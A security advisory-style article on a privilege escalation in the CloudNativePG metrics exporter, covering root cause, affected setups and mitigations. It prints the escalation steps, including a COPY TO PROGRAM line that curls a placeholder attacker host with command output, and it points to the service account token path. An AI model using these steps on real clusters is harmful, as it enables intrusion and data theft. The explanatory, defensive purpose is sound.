CloudNativePG, the PostgreSQL operator that runs thousands of production Postgres clusters on Kubernetes, has published a fix for CVE-2026-44477, a CVSS 9.4 privilege escalation in its built-in metrics exporter that lets any low-privileged database user climb to PostgreSQL superuser and execute arbitrary commands on the primary pod’s operating system. Patched releases 1.28.3 and 1.29.1 shipped on May 15, and the advisory landed publicly over the weekend. Every cluster running an unpatched CloudNativePG with the default metrics exporter and any user-owned database is exploitable today.

The bug, in one line

The metrics exporter connects to Postgres as the postgres superuser over the pod-local Unix socket, then issues SET ROLE pg_monitor to drop privileges. SET ROLE changes current_user — but not session_user. That residual superuser identity is the foothold.

The escalation chain

When a tenant defines a custom metric query (or owns an object referenced by one), they get a SQL evaluation context inside the exporter’s scrape session. Inside that context an attacker can:

  1. RESET ROLE — session_user is still postgres, so the session snaps back to full superuser. SET ROLE pg_monitor is a fence made of paper.
  2. COPY (SELECT '') TO PROGRAM 'curl http://attacker/$(id)' — Postgres superusers can run COPY ... TO PROGRAM, which spawns a subprocess as the postgres OS user inside the primary pod.
  3. From there, the attacker has shell-level execution inside the primary container, full read/write of every database in the cluster, the ability to plant a persistent backdoor in the data directory, and a launchpad into the Kubernetes service account mounted at /var/run/secrets/kubernetes.io/serviceaccount/.

The trigger is anything that runs through the exporter — a function in a user-owned schema, a view definition that gets evaluated during scrape, a custom metric query that resolves an unqualified name. If a tenant controls a function or operator that lands in the exporter’s search path, they control the exporter session.

Who is affected

Any CloudNativePG version prior to 1.28.3 or 1.29.1 running the default metrics exporter, which is virtually every production deployment — Prometheus scrape is a Day-1 configuration. The blast radius is the primary pod, which means the entire cluster’s data, plus whatever the operator’s ServiceAccount can reach in the Kubernetes API. Multi-tenant clusters that hand out CREATE privileges on shared databases — common in internal “Postgres-as-a-service” setups built on CloudNativePG — are the worst case: any tenant can pivot to operator-level access.

CloudNativePG is widely deployed. It’s the operator behind EDB Postgres for Kubernetes and is a CNCF-sandbox project with adoption across SaaS vendors, internal platform teams, and managed Postgres offerings on EKS, GKE, and AKS. If your platform team’s answer to “where does Postgres live” is “in Kubernetes”, check the operator first.

Mitigation

Upgrade. That’s the only complete fix. The patches introduce a dedicated, non-superuser role cnpg_metrics_exporter and route the exporter session through peer authentication, so session_user is never postgres. RESET ROLE no longer climbs anywhere worth climbing.

If you cannot upgrade in the next 24 hours, harden the exporter surface:

  • Prefix every function and view name in custom metric queries with pg_catalog. so attacker-controlled schemas can’t shadow built-ins.
  • Audit target_databases — drop the '*' wildcard unless every database owner in the cluster is fully trusted, and remove user-owned databases from the scrape list entirely.
  • Revoke CREATE ON SCHEMA public from tenant roles and double-check that no user-defined function in pg_proc is reachable from the exporter’s search path.

These are stopgaps. They do not patch the underlying session_user mismatch.

Why this keeps happening

This is the same shape of bug as the long lineage of Postgres search_path and SECURITY DEFINER escalations, dressed in Kubernetes clothes. Anything that runs SQL “as the superuser, but with a SET ROLE” is a RESET ROLE away from being exploitable, and the operator pattern of co-locating a privileged metrics agent inside the same pod as the database is exactly the kind of trust boundary that doesn’t survive contact with a tenant who can define a function.

References